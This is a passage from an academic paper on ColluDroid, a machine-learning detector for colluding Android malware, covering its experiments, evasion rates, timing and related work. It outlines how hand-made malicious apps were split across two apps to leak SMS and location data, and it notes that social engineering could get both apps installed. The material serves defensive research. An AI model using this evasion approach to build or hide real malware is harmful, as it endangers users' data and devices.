test ColluDroid (both ColluDroid-Linear SVM and ColluDroid-Sec-SVM) on our man-made apps to
evaluate if it can address the collusion app set successfully. In the second and third experiments, we
evaluate the performance of these four approaches under our simulated Collusion Attack and Evasion
Attack. The experimental results will be detailed in the following sections.
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5.1.1. Effectiveness of ColluDroid

At first, we made four malicious apps manually. Then, we trained ColluDroid-Linear SVM and
ColluDroid-Sec-SVM with our man-made apps and also other 5000 benign and 5000 malicious apps.
The trade-off parameter C of Linear SVM and Sec-SVM are both set as C = 1. As for the bounds of
Sec-SVM, they are selected in a set of options wlb, wub ∈ {0.05, 0.1, 0.15, 0.2, 0.25} with a 5-fold cross
validation according to the Detection Rate. After selection, we set each element of wub and wlb as 0.15.

Next, we split each man-made app into two apps. These split apps together with 200 other benign
apps will be tested in the detection phase. Our methods need to find out which app set can perform
Collusion Attack. Our man-made malicious payloads of each app and split apps are shown in Table 1.

Table 1. Manually made apps in our experiment.

App Name Malicious Payload Payload of Split App1 Payload of Split App2

AppA

Short Message
Service(SMS)→
Remote Server

SMS→ Intent Intent→ Remote Server

AppB
Read SMS → Send
SMS SMS→ Intent Intent→ Send SMS

AppC
Remote Command→
SMS→ Send SMS

Remote Command → SMS
→ Intent Intent→ Send SMS

AppD
Location → Remote
Server

Location → Shared
Preference

Shared Preference→ Remote
Server

In the detection phase, we find 267,419 ICC links within the test apps, which means that there
are 267,419 possible combinations among all the components. Then, we tested all the possible
combinations with the Malware Detector. Both ColluDroid-Linear SVM and ColluDroid-Sec-SVM can
successfully screen out the manually split eight apps and point out the components that result in the
Collusion Attack.

We tested the same data set on Hindroid and Drebin: both are excellent machine learning method
based malware detection methods. As they are both designed to test a single app, this collusion attack
cannot be addressed. Our experiment demonstrated that it is possible to split an existing malicious
app into two apps, and evade the detection of the current machine learning method. However, when
we apply our method to 2000 real world apps that we crawled from Google Play, unfortunately, we do
not find any collusion instance. Maybe it is because the number of apps in our test set is too small that
there isn’t any app that has the tendency to make such a attack.

5.1.2. Estimate the Performance of ColluDroid against Collusion and Evasion Attack

In the previous experiment, we have demonstrated that our ColluDroid is effective in detection
collusion apps. However, as we have mentioned in Section 3, malware developers may take both
Collusion Attack and Evasion Attack to evade detection. In this subsection, we perform two other
experiments to evaluate the ability of ColluDroid against these attacks.

Experimental Setup. The dataset in the following two experiments is the same as the previous
one in Section 5.1.1. The parameters of the Linear SVM and Sec-SVM are also the same. In our
second experiment, we plan on evaluating the effect of Collusion Attack on these four methods.
Collusion attack is performed according to Section 3.3.2, which simulate the collusion by splitting the
malicious app into two apps. In our third experiment, we try to evaluate the performance of these
four methods when collusion attack and Evasion Attack coexist. At first, we split the malware apps
according to Section 3.3.2 and then perform evasion attacks according to Section 3.3.3 to simulate the
simultaneous presence of Collusion and Evasion Attacks. Both experiments are tested in the case of
Perfect Knowledge (PK) and Limited Knowledge (LK). PK assumes that attackers have all the training
set and parameters; thus, they have the final discriminant function f (x). In the LK case, attackers
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just know limited training data, they construct evasion points by attacking a surrogate classifier f̂ (x),
and these points are then used to attack the true classifier f (x) and evaluate the performance. In our
experiment, we learn the surrogate classifier using a smaller training set, consisting of only 20% of all
the samples.

Experimental Results. The results of Collusion Attack against these four methods are shown in
the second column of Table 2, from which we can figure out that collusion attack is quite effective
against Linear SVM. Collusion attack against Linear-SVM with PK has already been shown in
Figure 2. Here, we show the result of the Collusion Attack against Sec-SVM with PK in Figure 5.
Nearly 90% of malware samples can evade detection by just splitting into two apps. However, with our
ColluDroid framework, the evasion rate will drop significantly to less than 10%. When attackers
perform both collusion and evasion attack, the situation will become more serious. The average
evasion rates of all scenarios are shown in the third column of Table 2. In addition, for each
c ∈ {5, 10, 20, 40, 60, 80, 100, 150, 200}, the evasion rate is shown in Figure 6, from which we can
figure out that the evasion rate increases dramatically as the evasion cost c increases. When c = 100,
almost all the samples can evade the detection of three other methods except ColluDroid-Sec-SVM.
Thus, we can conclude that ColluDroid-Sec-SVM outperforms other methods in both PK and LK
attack scenarios.

Figure 5. Best fitness score of Individuals for ColluDroid with Sec-Support Vector Machines (SVM).

Table 2. Results under collusion attack, evasion attack.

Methods Collusion Collusion & Evasion

ColluDroid-Linear Support Vector Machines(SVM) (PK) 6.1% 42.9%
ColluDroid-Sec-SVM(PK) 7.3% 18.5 %

Linear SVM(PK) 87.4% 96.4%
Sec-SVM(PK) 74.1% 88.0%

ColluDroid-Linear SVM(LK) 8.1% 66.2%
ColluDroid-Sec-SVM(LK) 9.3% 25.2 %

Linear SVM(LK) 91.4% 99.8%
Sec-SVM(LK) 97.2% 99.6%



Appl. Sci. 2018, 8, 1718 16 of 20

(a) (b)

Figure 6. Performance of different methods under Collusion and Evasion attack. (a) perfect knowledge;
(b) limited knowledge.

5.2. The Efficiency of ColluDroid

All of our experiments are tested on a PC with an Intel Core i5-2320 CPU processor (6 MB
Cache, 3.0 GHz, made by Intel, CA, USA) and 16 GB of main memory (2*8GB DDR3, 1600 MHz,
made by Samsung Group, Seoul, Korean). According to our experiments, the analysis time includes
feature extraction time, communication link computing time, classification training time, and malware
detection time. We perform the first experiment (Section 5.1.1) five times, and Table 3 shows the
average time in each step. The feature extraction process takes up most of the time because we need to
extract the feature of every app and there are 10,000 apps in total in our dataset. The feature extraction
time of each app is shown in Figure 7a. The x-axis is the size of test apps and the y-axis is the analysis
time. We can figure out that the larger the apps are, the more extraction time is needed. This is quite
straightforward, as the larger the apps are, the more codes they contain, the more time is needed to
traversal all the codes and extract features. On the other hand, ColluDroid can complete the feature
extraction of most apps within 60 s.

For comparison, we analyzed the efficiency of traditional data-flow analysis methods. In our
experiment, we take FlowDroid [3] as an example for comparison. FlowDroid is a pioneering work
that introduces a novel on-demand data flow analysis algorithm with high efficiency and precision.
Many researchers followed their work and built a number of tools and have similar analyzing
performance. Figure 8 shows the experimental results. From Figure 8b, we can see that FlowDroid
can finish analyzing 80% of malware apps in 60 s because malware has a smaller size than benign
apps. The larger the apps are, the time required will increase exponentially. As a result, benign apps
will need far more time to complete analysis. Figure 8b shows that nearly 20% of them went over the
time limit. (We restrict the analysis time to 20 min when analyzing the benign apps due to the time
limitation.) The average analysis time of FlowDroid comes to 15 min. If we did not set a time limit, the
average analysis time would be even longer. On the contrary, ColluDroid can complete 90% of the
app in one minute, which is close to 15 times faster compared with the traditional data-flow analysis
methods. Especially, the feature extraction time of each app can be parallelized. Thus, we believe that
it is quite reasonable for a large scale analysis.

From the results, we can figure out that it is pretty easy to split an app to evade detection.
The difficulties would be to induce end users to install our split apps. The more apps you split, the more
difficulty you face to have all the apps installed. Only when all apps are installed can a collusion attack
be performed successfully. In this case, social engineering approaches can provide references.



Appl. Sci. 2018, 8, 1718 17 of 20

Table 3. Analysis time of ColluDroid in each step.

Items Time

feature extraction Refer to Figure 7a

model training Linear-SVM: 0.45 s
Sec-SVM: 23.45 s

communication links computing 20.53 s
malware detection 0.02 ms

(a) (b)

Figure 7. Feature extraction time of ColluDroid. (a) feature extraction time; (b) cumulative
distribution function.

(a) (b)

Figure 8. Analyzing time of FlowDroid. (a) analyzing time of FlowDroid; (b) cumulative
distribution function.

6. Related Works

In this section, we discussed other research efforts that are related to this work. These efforts
include malware detection and collusion detection.

Over the past few years, there have been several approaches introduced to analyze collusion apps.
Chin et al. [4] was the first article to investigate collusion problems. It studied the security challenges
of Android communication and developed ComDroid to detect those vulnerabilities through static
analysis of each app. Furthermore, Octeau et al. [29] developed Epicc for the study of Intent properties
by introducing the use of inter-procedural data flow analysis. FlowDroid [3] introduces a novel
on-demand data flow analysis algorithm with high efficiency and precision. IccTa [31] extends
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the work of FlowDroid to make it able to detect inter-component vulnerabilities. With the help of
ApkCombiner [32], IccTa can also be used to identify inter-app vulnerabilities (Collusion).

These efforts above mainly focus on the static-analysis of applications. There are also many
dynamic-analysis based methods that have been proposed. Generally, they analyze an app by running
it on an emulator and monitor its running behavior. TaintDroid [33] is the pioneering work that
introduces dynamic taint analysis on Android. VetDroid [34] is built on TaintDroid and analyzes an
app’s permission use. IntelliDroid is a tool that can be used to generate specific inputs for dynamic
analysis tool such as TaintDroid to cover more paths and behavior. CopperDroid [6] is built on
technique Virtual Machine Introspection and performs system call-centric dynamic analysis of Android
apps to detect malicious behavior.

However, both static and dynamic based analysis methods have the scalability problem.
Static-analysis methods rely on data flow analysis, which is very time-consuming. According to
our experiment, analyzing a 10 MB size app will take more than 10 minutes. Tsutano et al. [35] have
also gotten a similar result. As the app becomes larger, the time required for analysis will increase
exponentially. For dynamic-Analysis based methods, they have a code coverage problem, which
means that it takes hours for them to explore a single app [36]. In order to find collusion apps, we need
to examine thousands of apps; the time cost will be unacceptable for traditional methods.

On the other hand, the machine learning methods [8,9] have advantages both in accuracy and
efficiency. However, the current machine learning method does not consider the collusion threat.
Therefore, this paper investigates the use of machine learning-based methods to detect collusion apps.

7. Conclusions

This paper highlights a new attack pattern against SVM based malware detection approaches
and proposes a method named ColluDroid to detect it. In addition, we write four example apps to
demonstrate the idea. ColluDroid is a collude android malware detection framework that can integrate
different machine learning methods. We investigate the performance of Linear SVM and Sec-SVM in
this paper. According to our evaluation results, ColluDroid-Sec-SVM has the best performance against
both Collusion and Evasion attack. In addition, ColluDroid can find all of the collusion apps at a
reasonable speed and can be applied for a large scale analysis. Our approach also has a few limitations.
Current ColluDroid extracts API Call as features by static analysis. As a result, any method that is
used to evade detection of static analysis can be used to evade the detection of ColluDroid, such as
dynamic code loading, reflection, code obfuscation, etc. In our future work, we should extract some
dynamic runtime information as features, such as system calls. We have to mention that Collusion
Attack can not only be used to against SVM, but it can also be used against other machine learning
methods such as Convolutional Neural Network and Random Forest. We leave this as future work.
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